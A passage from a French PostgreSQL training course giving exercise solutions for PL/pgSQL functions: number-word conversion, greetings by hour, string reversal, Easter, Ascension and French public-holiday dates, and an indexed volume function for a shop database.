AS $BODY$
DECLARE
a1 integer;
a2 integer;
BEGIN
IF arg1 = 'zéro' THEN
a1 := 0;
ELSEIF arg1 = 'un' THEN
a1 := 1;
ELSEIF arg1 = 'deux' THEN
a1 := 2;
ELSEIF arg1 = 'trois' THEN
a1 := 3;
ELSEIF arg1 = 'quatre' THEN
a1 := 4;
ELSEIF arg1 = 'cinq' THEN
a1 := 5;
ELSEIF arg1 = 'six' THEN
a1 := 6;
ELSEIF arg1 = 'sept' THEN
a1 := 7;
ELSEIF arg1 = 'huit' THEN
a1 := 8;
ELSEIF arg1 = 'neuf' THEN
a1 := 9;
END IF;
IF arg2 = 'zéro' THEN
a2 := 0;
ELSEIF arg2 = 'un' THEN
a2 := 1;
ELSEIF arg2 = 'deux' THEN
a2 := 2;
ELSEIF arg2 = 'trois' THEN
a2 := 3;
ELSEIF arg2 = 'quatre' THEN
a2 := 4;
ELSEIF arg2 = 'cinq' THEN
a2 := 5;
ELSEIF arg2 = 'six' THEN
a2 := 6;
ELSEIF arg2 = 'sept' THEN
a2 := 7;
ELSEIF arg2 = 'huit' THEN
a2 := 8;
ELSEIF arg2 = 'neuf' THEN
a2 := 9;
END IF;
RETURN a1*a2;
END
$BODY$
LANGUAGE plpgsql;
Test :
Si ce n’est déjà fait, faire en sorte que
multiplication
appelle une autre fonction pour faire la conversion de texte en chiffre, et n’effectue que le calcul.
CREATE OR REPLACE FUNCTION texte_vers_entier(arg text)
RETURNS integer AS $BODY$
DECLARE
ret integer;
BEGIN
IF arg = 'zéro' THEN
ret := 0;
ELSEIF arg = 'un' THEN
ret := 1;
ELSEIF arg = 'deux' THEN
ret := 2;
ELSEIF arg = 'trois' THEN
ret := 3;
ELSEIF arg = 'quatre' THEN
ret := 4;
ELSEIF arg = 'cinq' THEN
ret := 5;
ELSEIF arg = 'six' THEN
ret := 6;
ELSEIF arg = 'sept' THEN
ret := 7;
ELSEIF arg = 'huit' THEN
ret := 8;
ELSEIF arg = 'neuf' THEN
ret := 9;
END IF;
RETURN ret;
END
$BODY$
LANGUAGE plpgsql;
CREATE OR REPLACE FUNCTION multiplication(arg1 text, arg2 text)
RETURNS integer
AS $BODY$
DECLARE
a1 integer;
a2 integer;
BEGIN
a1 := texte_vers_entier(arg1);
a2 := texte_vers_entier(arg2);
RETURN a1*a2;
END
$BODY$
LANGUAGE plpgsql;
Essayer de multiplier « deux » par 4. Qu’obtient-on et pourquoi ?
Par défaut, les variables internes à la fonction valent NULL. Rien n’est prévu pour affecter le second argument, on obtient donc NULL en résultat.
Corriger la fonction pour tomber en erreur si un argument est numérique (utiliser
RAISE EXCEPTION <message>
).
CREATE OR REPLACE FUNCTION texte_vers_entier(arg text)
RETURNS integer AS $BODY$
DECLARE
ret integer;
BEGIN
IF arg = 'zéro' THEN
ret := 0;
ELSEIF arg = 'un' THEN
ret := 1;
ELSEIF arg = 'deux' THEN
ret := 2;
ELSEIF arg = 'trois' THEN
ret := 3;
ELSEIF arg = 'quatre' THEN
ret := 4;
ELSEIF arg = 'cinq' THEN
ret := 5;
ELSEIF arg = 'six' THEN
ret := 6;
ELSEIF arg = 'sept' THEN
ret := 7;
ELSEIF arg = 'huit' THEN
ret := 8;
ELSEIF arg = 'neuf' THEN
ret := 9;
ELSE
RAISE EXCEPTION 'argument "%" invalide', arg;
ret := NULL;
END IF;
RETURN ret;
END
$BODY$
LANGUAGE plpgsql;
ERROR: argument "4" invalide
CONTEXTE : PL/pgSQL function texte_vers_entier(text) line 26 at RAISE
PL/pgSQL function multiplication(text,text) line 7 at assignment
Écrire une fonction en PL/pgSQL qui prend en argument le nom de l’utilisateur, puis lui dit « Bonjour » ou « Bonsoir » suivant l’heure de la journée. Utiliser la fonction
to_char()
.
CREATE OR REPLACE FUNCTION salutation(utilisateur text)
RETURNS text
AS $BODY$
DECLARE
heure integer;
libelle text;
BEGIN
heure := to_char(now(), 'HH24');
IF heure > 12
THEN
libelle := 'Bonsoir';
ELSE
libelle := 'Bonjour';
END IF;
RETURN libelle||' '||utilisateur||' !';
END
$BODY$
LANGUAGE plpgsql;
Test :
Écrire la même fonction avec un paramètre
OUT
.
CREATE OR REPLACE FUNCTION salutation(IN utilisateur text, OUT message text)
AS $BODY$
DECLARE
heure integer;
libelle text;
BEGIN
heure := to_char(now(), 'HH24');
IF heure > 12
THEN
libelle := 'Bonsoir';
ELSE
libelle := 'Bonjour';
END IF;
message := libelle||' '||utilisateur||' !';
END
$BODY$
LANGUAGE plpgsql;
Elle s’utilise de la même manière :
Pour calculer l’heure courante, utiliser plutôt la fonction
extract
.
CREATE OR REPLACE FUNCTION salutation(IN utilisateur text, OUT message text)
AS $BODY$
DECLARE
heure integer;
libelle text;
BEGIN
SELECT INTO heure extract(hour from now())::int;
IF heure > 12
THEN
libelle := 'Bonsoir';
ELSE
libelle := 'Bonjour';
END IF;
message := libelle||' '||utilisateur||' !';
END
$BODY$
LANGUAGE plpgsql;
Réécrire la fonction en SQL.
Le CASE … WHEN
remplace aisément un
IF … THEN
:
CREATE OR REPLACE FUNCTION salutation_sql(nom text)
RETURNS text
AS $$
SELECT CASE extract(hour from now()) > 12
WHEN 't' THEN 'Bonsoir '|| nom
ELSE 'Bonjour '|| nom
END::text;
$$ LANGUAGE SQL;
Écrire une fonction
inverser
qui inverse une chaîne (pour « toto » en entrée, afficher « otot » en sortie), à l’aide d’une boucleWHILE
et des fonctionschar_length
etsubstring
.
CREATE OR REPLACE FUNCTION inverser(str_in varchar)
RETURNS varchar
AS $$
DECLARE
str_out varchar ; -- à renvoyer
position integer ;
BEGIN
-- Initialisation de str_out, sinon sa valeur reste à NULL
str_out := '';
-- Position initialisée ç la longueur de la chaîne
position := char_length(str_in);
-- La chaîne est traitée ç l'envers
-- Boucle: Inverse l'ordre des caractères d'une chaîne de caractères
WHILE position > 0 LOOP
-- la chaîne donnée en argument est parcourue
-- à l'envers,
-- et les caractères sont extraits individuellement
str_out := str_out || substring(str_in, position, 1);
position := position - 1;
END LOOP;
RETURN str_out;
END;
$$
LANGUAGE plpgsql;
La fonction suivante calcule la date de Pâques d’une année :
CREATE OR REPLACE FUNCTION paques (annee integer)
RETURNS date
AS $$
DECLARE
a integer ;
b integer ;
r date ;
BEGIN
a := (19*(annee % 19) + 24) % 30 ;
b := (2*(annee % 4) + 4*(annee % 7) + 6*a + 5) % 7 ;
SELECT (annee::text||'-03-31')::date + (a+b-9) INTO r ;
RETURN r ;
END ;
$$
LANGUAGE plpgsql ;
Afficher les dates de Pâques de 2018 à 2025.
paques
------------
2018-04-01
2019-04-21
2020-04-12
2021-04-04
2022-04-17
2023-04-09
2024-03-31
2025-04-20
Écrire une fonction qui calcule la date de l’Ascension, soit le jeudi de la sixième semaine après Pâques. Pour simplifier, on peut aussi considérer que l’Ascension se déroule 39 jours après Pâques.
Version complexe :
CREATE OR REPLACE FUNCTION ascension(annee integer)
RETURNS date
AS $$
DECLARE
r date;
BEGIN
SELECT paques(annee)::date + 40 INTO r;
SELECT r + (4 - extract(dow from r))::integer INTO r;
RETURN r;
END;
$$
LANGUAGE plpgsql;
Version simple :
CREATE OR REPLACE FUNCTION ascension(annee integer)
RETURNS date
AS $$
SELECT (paques (annee) + INTERVAL '39 days')::date ;
$$
LANGUAGE sql;
Test :
paques | ascension
------------+------------
2018-04-01 | 2018-05-10
2019-04-21 | 2019-05-30
2020-04-12 | 2020-05-21
2021-04-04 | 2021-05-13
2022-04-17 | 2022-05-26
2023-04-09 | 2023-05-18
2024-03-31 | 2024-05-09
2025-04-20 | 2025-05-29
Pour écrire une fonction qui renvoie tous les jours fériés d’une année (libellé et date), en France métropolitaine :
- Prévoir un paramètre supplémentaire pour l’Alsace-Moselle, où le Vendredi saint (précédant le dimanche de Pâques) et le 26 décembre sont aussi fériés (ou toute autre variation régionale).
- Cette fonction doit renvoyer plusieurs lignes : utiliser
RETURN NEXT
.- Plusieurs variantes sont possibles : avec
SETOF record
, avec des paramètresOUT
, ou avecRETURNS TABLE (libelle, jour)
.- Enfin, il est possible d’utiliser
RETURN QUERY
.
Version avec SETOF record :
CREATE OR REPLACE FUNCTION vacances (
annee integer,
alsace_moselle boolean DEFAULT false
) RETURNS SETOF record
AS $$
DECLARE
f integer;
r record;
BEGIN
SELECT 'Jour de l''an'::text, (annee::text||'-01-01')::date INTO r;
RETURN NEXT r;
SELECT 'Pâques'::text, paques(annee)::date + 1 INTO r;
RETURN NEXT r;
SELECT 'Ascension'::text, ascension(annee)::date INTO r;
RETURN NEXT r;
SELECT 'Fête du travail'::text, (annee::text||'-05-01')::date INTO r;
RETURN NEXT r;
SELECT 'Victoire 1945'::text, (annee::text||'-05-08')::date INTO r;
RETURN NEXT r;
SELECT 'Fête nationale'::text, (annee::text||'-07-14')::date INTO r;
RETURN NEXT r;
SELECT 'Assomption'::text, (annee::text||'-08-15')::date INTO r;
RETURN NEXT r;
SELECT 'La toussaint'::text, (annee::text||'-11-01')::date INTO r;
RETURN NEXT r;
SELECT 'Armistice 1918'::text, (annee::text||'-11-11')::date INTO r;
RETURN NEXT r;
SELECT 'Noël'::text, (annee::text||'-12-25')::date INTO r;
RETURN NEXT r;
IF alsace_moselle THEN
SELECT 'Vendredi saint'::text, paques(annee)::date - 2 INTO r;
RETURN NEXT r;
SELECT 'Lendemain de Noël'::text, (annee::text||'-12-26')::date INTO r;
RETURN NEXT r;
END IF;
RETURN;
END;
$$
LANGUAGE plpgsql;
Le requêtage implique de nommer les colonnes :
libelle | jour
--------------------+------------
Jour de l'an | 2020-01-01
Vendredi saint | 2020-04-10
Pâques | 2020-04-13
Fête du travail | 2020-05-01
Victoire 1945 | 2020-05-08
Ascension | 2020-05-21
Fête nationale | 2020-07-14
Assomption | 2020-08-15
La toussaint | 2020-11-01
Armistice 1918 | 2020-11-11
Noël | 2020-12-25
Lendemain de Noël | 2020-12-26
Version avec paramètres OUT :
Une autre forme d’écriture possible consiste à indiquer les deux
colonnes de retour comme des paramètres OUT
:
CREATE OR REPLACE FUNCTION vacances(
annee integer,
alsace_moselle boolean DEFAULT false,
OUT libelle text,
OUT jour date)
RETURNS SETOF record
LANGUAGE plpgsql
AS $function$
DECLARE
f integer;
r record;
BEGIN
SELECT 'Jour de l''an'::text, (annee::text||'-01-01')::date
INTO libelle, jour;
RETURN NEXT;
SELECT 'Pâques'::text, paques(annee)::date + 1 INTO libelle, jour;
RETURN NEXT;
SELECT 'Ascension'::text, ascension(annee)::date INTO libelle, jour;
RETURN NEXT;
SELECT 'Fête du travail'::text, (annee::text||'-05-01')::date
INTO libelle, jour;
RETURN NEXT;
SELECT 'Victoire 1945'::text, (annee::text||'-05-08')::date
INTO libelle, jour;
RETURN NEXT;
SELECT 'Fête nationale'::text, (annee::text||'-07-14')::date
INTO libelle, jour;
RETURN NEXT;
SELECT 'Assomption'::text, (annee::text||'-08-15')::date
INTO libelle, jour;
RETURN NEXT;
SELECT 'La toussaint'::text, (annee::text||'-11-01')::date
INTO libelle, jour;
RETURN NEXT;
SELECT 'Armistice 1918'::text, (annee::text||'-11-11')::date
INTO libelle, jour;
RETURN NEXT;
SELECT 'Noël'::text, (annee::text||'-12-25')::date INTO libelle, jour;
RETURN NEXT;
IF alsace_moselle THEN
SELECT 'Vendredi saint'::text, paques(annee)::date - 2 INTO libelle, jour;
RETURN NEXT;
SELECT 'Lendemain de Noël'::text, (annee::text||'-12-26')::date
INTO libelle, jour;
RETURN NEXT;
END IF;
RETURN;
END;
$function$;
La fonction s’utilise alors de façon simple :
libelle | jour
-----------------+------------
Jour de l'an | 2020-01-01
Pâques | 2020-04-13
Fête du travail | 2020-05-01
Victoire 1945 | 2020-05-08
Ascension | 2020-05-21
Fête nationale | 2020-07-14
Assomption | 2020-08-15
La toussaint | 2020-11-01
Armistice 1918 | 2020-11-11
Noël | 2020-12-25
Version avec RETURNS TABLE
:
Seule la déclaration en début diffère de la version avec les
paramètres OUT
:
CREATE OR REPLACE FUNCTION vacances(
annee integer,alsace_moselle boolean DEFAULT false)
RETURNS TABLE (libelle text, jour date)
LANGUAGE plpgsql
AS $function$
…
L’utilisation est aussi simple que la version précédente.
Version avec RETURN QUERY :
C’est peut-être la version la plus compacte :
CREATE OR REPLACE FUNCTION vacances(annee integer,alsace_moselle boolean DEFAULT false)
RETURNS TABLE (libelle text, jour date)
LANGUAGE plpgsql
AS $function$
BEGIN
RETURN QUERY SELECT 'Jour de l''an'::text, (annee::text||'-01-01')::date ;
RETURN QUERY SELECT 'Pâques'::text, paques(annee)::date + 1 ;
RETURN QUERY SELECT 'Ascension'::text, ascension(annee)::date ;
RETURN QUERY SELECT 'Fête du travail'::text, (annee::text||'-05-01')::date ;
RETURN QUERY SELECT 'Victoire 1945'::text, (annee::text||'-05-08')::date ;
RETURN QUERY SELECT 'Fête nationale'::text, (annee::text||'-07-14')::date ;
RETURN QUERY SELECT 'Assomption'::text, (annee::text||'-08-15')::date ;
RETURN QUERY SELECT 'La toussaint'::text, (annee::text||'-11-01')::date ;
RETURN QUERY SELECT 'Armistice 1918'::text, (annee::text||'-11-11')::date ;
RETURN QUERY SELECT 'Noël'::text, (annee::text||'-12-25')::date ;
IF alsace_moselle THEN
RETURN QUERY SELECT 'Vendredi saint'::text, paques(annee)::date - 2 ;
RETURN QUERY SELECT 'Lendemain de Noël'::text, (annee::text||'-12-26')::date ;
END IF;
RETURN;
END;
$function$;
Ce TP utilise la base magasin.
Écrire une requête permettant de renvoyer l’ensemble des produits (table
magasin.produits
) dont le volume ne dépasse pas 1 litre (les unités de longueur sont en mm, 1 litre = 1 000 000 mm³).
Concernant le volume des produits, la requête est assez simple :
Quel index permet d’optimiser cette requête ? (Utiliser une fonction est possible, mais pas obligatoire.)
L’option la plus simple est de créer l’index de cette façon, sans avoir besoin d’une fonction :
En général, il est plus propre de créer une fonction. On peut passer
la ligne entière en paramètre pour éviter de fournir 3 paramètres. Il
faut que cette fonction soit IMMUTABLE
pour être
indexable :
CREATE OR REPLACE function volume (p produits)
RETURNS numeric
AS $$
SELECT p.longueur * p.hauteur * p.largeur;
$$ language SQL
PARALLEL SAFE
IMMUTABLE ;
(Elle est même PARALLEL SAFE
pour la même raison qu’elle
est IMMUTABLE
: elle dépend uniquement des données de la
table.)
On peut ensuite indexer le résultat de cette fonction :
Il est ensuite possible d’écrire la requête de plusieurs manières, la fonction étant ici écrite en SQL et non en PL/pgSQL ou autre langage procédural :
SELECT * FROM produits WHERE longueur * hauteur * largeur < 1000000 ;
SELECT * FROM produits WHERE volume(produits) < 1000000 ;
En effet, l’optimiseur est capable de « regarder » à l’intérieur de la fonction SQL pour déterminer que les clauses sont les mêmes, ce qui n’est pas vrai pour les autres langages.
En revanche, la requête suivante, où la multiplication est faite dans un ordre différent, n’utilise pas l’index :
et c’est notamment pour cette raison qu’il est plus propre d’utiliser la fonction.
De part l’origine « relationnel-objet » de PostgreSQL, on peut même écrire la requête de la manière suivante :